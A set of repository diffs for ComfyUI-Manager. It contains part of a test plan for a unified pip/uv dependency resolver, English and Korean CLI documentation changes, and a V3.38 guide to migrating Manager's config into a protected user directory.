| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
**Steps**:
**Path 1 — Runtime API install (class method)**:
```bash
# While ComfyUI is running:
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-path1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
1. Create a test node pack with both `install.py` and `requirements.txt`:
```bash
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
```
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
```bash
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
>> "$SCRIPTS_DIR/install-scripts.txt"
```
3. Start ComfyUI (with `use_unified_resolver = true`)
**Verify**:
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
---
## TC-15: Behavior After Fallback in Same Process [P1]
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
**Steps**:
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
2. While still running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-postfallback",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
**Verify**:
- New node pack uses per-node pip install (not deferred)
- `Install: pip packages` appears normally
- On next restart with conflicts resolved, unified resolver retries if config still `true`
---
## TC-16: Generic Exception Fallback [P1]
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
**Steps**:
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
```bash
chmod a-r "$COMFY_ROOT/custom_nodes"
```
2. Start ComfyUI
3. After test, restore permissions:
```bash
chmod u+r "$COMFY_ROOT/custom_nodes"
```
**Expected log**:
```
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
---
## TC-17: Restart Dependency Detection [P0]
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
**Steps**:
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
2. Verify baseline deps only (Manager's own deps)
3. Stop ComfyUI
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
5. Restart ComfyUI (Boot 2)
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
7. Stop ComfyUI
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
9. Restart ComfyUI (Boot 3)
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
**Expected log (each boot)**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**:
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
- Both packs show as loaded in logs
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
---
## TC-18: Real Node Pack Integration [P0]
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
**Steps**:
1. Set up E2E environment
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
4. Boot-mode: start ComfyUI and verify via logs
**Expected behavior (direct mode)**:
```
--- Discovered node packs (3) --- # Manager, Impact, Inspire
ComfyUI-Impact-Pack
ComfyUI-Inspire-Pack
ComfyUI-Manager
--- Phase 1: Collect Requirements ---
Total requirements: ~24
Skipped: 1 # SAM2 git+https:// URL
Extra index URLs: set()
```
**Verify**:
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
- All other dependencies are collected and resolved
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
- No conflicting version errors during compile
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
---
## Validated Behaviors (from E2E Testing)
The following behaviors were confirmed during manual E2E testing:
### Resolver Pipeline
- **3-phase pipeline**: Collect → `uv pip compile``uv pip install` works end-to-end
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
### Security & Filtering
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
### Manager Integration
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
### Environment
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
---
## Summary
| TC | P | Scenario | Key Verification |
|----|---|----------|------------------|
| 1 | P0 | Normal batch resolution | compile → install pipeline |
| 2 | P1 | Disabled state | No impact on existing behavior |
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
| 7 | P0 | Dangerous pattern rejection | Security filtering |
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
| 9 | P0 | index-url separation | All 4 variants + dedup |
| 10 | P0 | Credential redaction | Log security |
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
| 12 | P2 | No dependencies | Empty pipeline |
| 13 | P1 | Runtime install defer | Defer until restart |
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
### Traceability
| Feature Requirement | Test Cases |
|---------------------|------------|
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
| FR-3: Index URL handling | TC-9 |
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
| FR-5: Batch install | TC-1, TC-5 |
| FR-6: install.py preserved | TC-6, TC-14 |
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
| Disabled node pack exclusion | TC-11 |
| Runtime defer behavior | TC-13, TC-14 |
| FR-8: Restart discovery | TC-17 |
| FR-9: Real-world compatibility | TC-17, TC-18 |
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
+30 -57
View File
@@ -7,39 +7,40 @@
-= ComfyUI-Manager CLI (V2.24) =-
cm-cli [OPTIONS]
python cm-cli.py [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
clear
```
## How To Use?
* You can execute it via the `cm-cli` command.
* You can execute it via `python cm-cli.py`.
* For example, if you want to update all custom nodes:
* `cm-cli update all`
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
## Prerequisite
* It must be run in the same Python environment as the one running ComfyUI.
* If using a venv, you must run it with the venv activated.
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
`.\python_embeded\python.exe -m cm_cli update all`
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
## Features
### 1. --channel, --mode
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
### 2. Viewing Management Information
@@ -48,7 +49,7 @@ OPTIONS:
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -65,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -94,7 +95,7 @@ ComfyUI-Loopchain
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
(Plans are to update the use of nicknames in the future.)
@@ -111,27 +112,11 @@ ComfyUI-Loopchain
* `enable`: Enables the specified custom nodes.
* `fix`: Attempts to fix dependencies for the specified custom nodes.
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
* Requires `uv` to be installed.
* Prevents dependency conflicts between multiple node packs.
* On resolution failure, displays conflicting packages and which node packs requested them.
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. Snapshot Management
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* With `--output`, you can save a file in .yaml format to any specified path.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* If a file exists at the snapshot path, that snapshot is loaded.
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
* `--pip-non-url`: Restore for pip packages registered on PyPI.
@@ -140,35 +125,23 @@ cm-cli fix ComfyUI-Impact-Pack --uv-compile
* `--user-directory`: Set the user directory.
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
### 5. Dependency Restoration
### 5. CLI Only Mode
`restore-dependencies ?[--uv-compile]`
You can set whether to use ComfyUI-Manager solely via CLI.
`cli-only-mode [enable|disable]`
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
### 6. Dependency Restoration
`restore-dependencies`
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
### 6. Install from Dependency File
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
* Useful for environment recovery or initial setup without starting ComfyUI.
* Requires `uv` to be installed.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. Clear
### 7. Clear
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
@@ -0,0 +1,230 @@
# ComfyUI-Manager V3.38: Userdata Security Migration Guide
## Introduction
ComfyUI-Manager V3.38 introduces a **security patch** that migrates Manager's configuration and data to a protected system path. This change leverages ComfyUI's new System User Protection API (PR #10966) to provide enhanced security isolation.
This guide explains what happens during the migration and how to handle various situations.
---
## What Changed
### Finding Your Paths
When ComfyUI starts, it displays the full paths in the terminal:
```
** User directory: /path/to/ComfyUI/user
** ComfyUI-Manager config path: /path/to/ComfyUI/user/__manager/config.ini
```
Look for these lines in your startup log to find the exact location on your system. In this guide, paths are shown relative to the `user` directory.
### Path Migration
| Data | Legacy Path | New Path |
|------|-------------|----------|
| Configuration | `user/default/ComfyUI-Manager/` | `user/__manager/` |
| Snapshots | `user/default/ComfyUI-Manager/snapshots/` | `user/__manager/snapshots/` |
### Why This Change
In older ComfyUI versions, the `default/` directory was **unprotected** and accessible via web APIs. If you ran ComfyUI with `--listen 0.0.0.0` or similar options to allow external connections, this data **may have been tampered with** by malicious actors.
**Note:** If you only used ComfyUI locally (without `--listen` or with `--listen 127.0.0.1`), your data was not exposed to this vulnerability.
The new `__manager` path uses ComfyUI's protected system directory, which:
- **Cannot be accessed** from outside (protected by ComfyUI)
- Isolates system settings from user data
- Enables stricter security for remote access
**This is why only `config.ini` is automatically migrated** - other files (snapshots) may have been compromised and should be manually verified before copying.
---
## Automatic Migration
When you start ComfyUI with the new System User Protection API, Manager automatically handles the migration:
### Step 1: Configuration Migration
Only `config.ini` is migrated automatically.
**Important**: Snapshots are **NOT** automatically migrated. You must copy them manually if needed.
### Step 2: Security Level Check
During migration, if your security level is below `normal` (i.e., `weak` or `normal-`), it will be automatically raised to `normal`. This is a safety measure because the security level setting itself may have been tampered with in the old version.
```
======================================================================
[ComfyUI-Manager] WARNING: Security level adjusted
- Previous: 'weak' → New: 'normal'
- Raised to prevent unauthorized remote access.
======================================================================
```
If you need a lower security level, you can manually edit the config after migration.
### Step 3: Legacy Backup
Your entire legacy directory is moved to a backup location:
```
user/__manager/.legacy-manager-backup/
```
This backup is preserved until you manually delete it.
---
## Persistent Backup Notification
As long as the backup exists, Manager will remind you on **every startup**:
```
----------------------------------------------------------------------
[ComfyUI-Manager] NOTICE: Legacy backup exists
- Your old Manager data was backed up to:
/path/to/ComfyUI/user/__manager/.legacy-manager-backup
- Please verify and remove it when no longer needed.
----------------------------------------------------------------------
```
**To stop this notification**: Delete the `.legacy-manager-backup` folder inside `user/__manager/` after confirming you don't need any data from it.
---
## Recovering Old Data
### Snapshots
If you need your old snapshots, copy the contents of `.legacy-manager-backup/snapshots/` to `user/__manager/snapshots/`.
---
## Outdated ComfyUI Warning
If you're running an older version of ComfyUI without the System User Protection API, Manager will:
1. **Force security level to `strong`** - All installations are blocked
2. **Display warning message**:
```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[ComfyUI-Manager] ERROR: ComfyUI version is outdated!
- Most operations are blocked for security.
- ComfyUI update is still allowed.
- Please update ComfyUI to use Manager normally.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```
**Solution**: Update ComfyUI to v0.3.76 or later.
---
## Security Levels
| Level | What's Allowed |
|-------|----------------|
| `strong` | ComfyUI update only. All other installations blocked. |
| `normal` | Install/update/remove registered custom nodes and models. |
| `normal-` | Above + Install via Git URL or pip (localhost only). |
| `weak` | All operations allowed, including from remote connections. |
**Notes:**
- `strong` is forced on outdated ComfyUI versions.
- `normal` is the default and recommended for most users.
- `normal-` is for developers who need to install unregistered nodes locally.
- `weak` should only be used in isolated development environments.
### Changing Security Level
Edit `user/__manager/config.ini`:
```ini
[default]
security_level = normal
```
---
## Error Messages
### "comfyui_outdated" (HTTP 403)
This error appears when:
- Your ComfyUI doesn't have the System User Protection API
- All installations are blocked until you update ComfyUI
**Solution**: Update ComfyUI to the latest version.
### "security_level" (HTTP 403)
This error appears when:
- Your security level blocks the requested operation
- For example, `strong` level blocks all installations
**Solution**: Lower your security level in config.ini if appropriate for your use case.
---
## Security Warning: Suspicious Path
If you see this error on an **older** ComfyUI:
```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[ComfyUI-Manager] ERROR: Suspicious path detected!
- '__manager' exists with low security level: 'weak'
- Please verify manually:
/path/to/ComfyUI/user/__manager/config.ini
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```
On older ComfyUI versions, the `__manager` directory is not normally created. If this directory exists, it may have been created externally. For safety, manually verify the contents of this directory before updating ComfyUI.
---
## Troubleshooting
### All my installations are blocked
**Check 1**: Is your ComfyUI updated?
- Old ComfyUI forces `security_level = strong`
- Update ComfyUI to resolve
**Check 2**: What's your security level?
- Check `user/__manager/config.ini`
- `security_level = strong` blocks all installations
### My snapshots are missing
Snapshots are not automatically migrated. You need to manually copy the `snapshots` folder from inside `.legacy-manager-backup` to the `user/__manager/` directory.
### I keep seeing the backup notification
Delete the `.legacy-manager-backup` folder inside `user/__manager/` after confirming you don't need any data from it.
### Snapshot restore is blocked
On old ComfyUI (without System User API), snapshot restore is blocked because security is forced to `strong`. Update ComfyUI to enable snapshot restore.
---
## File Structure Reference
```
user/
└── __manager/
├── config.ini # Manager configuration
├── channels.list # Custom node channels
├── snapshots/ # Environment snapshots
└── .legacy-manager-backup/ # Backup of old Manager data (temporary)
```
---
## Requirements
- **ComfyUI**: v0.3.76 or later (with System User Protection API)
- **ComfyUI-Manager**: V3.38 or later
+31 -55
View File
@@ -7,39 +7,40 @@
-= ComfyUI-Manager CLI (V2.24) =-
cm-cli [OPTIONS]
python cm-cli.py [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
clear
```
## How To Use?
* `cm-cli` 명령으로 실행할 수 있습니다.
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
* `cm-cli update all` 명령을 실행할 수 있습니다.
* ComfyUI-Manager 경로에서 `python cm-cli.py update all` 명령을 실행할 수 있습니다.
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
## Prerequisite
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
`.\python_embeded\python.exe -m cm_cli update all`
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
## Features
### 1. --channel, --mode
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* 예를 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
### 2. 관리 정보 보기
@@ -50,7 +51,7 @@ OPTIONS:
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
`python cm-cli.py show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -66,7 +67,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
`python cm-cli.py simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -95,7 +96,7 @@ ComfyUI-Loopchain
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
@@ -112,26 +113,11 @@ ComfyUI-Loopchain
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
* `uv`가 설치된 환경에서만 동작합니다.
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
* `reinstall --uv-compile``--no-deps`와 동시에 사용할 수 없습니다.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. 스냅샷 관리 기능
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
@@ -140,35 +126,25 @@ cm-cli fix ComfyUI-Impact-Pack --uv-compile
* `--user-directory`: 사용자 디렉토리 설정
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
### 5. 의존성 설치
### 5. CLI only mode
`restore-dependencies ?[--uv-compile]`
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
`cli-only-mode [enable|disable]`
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
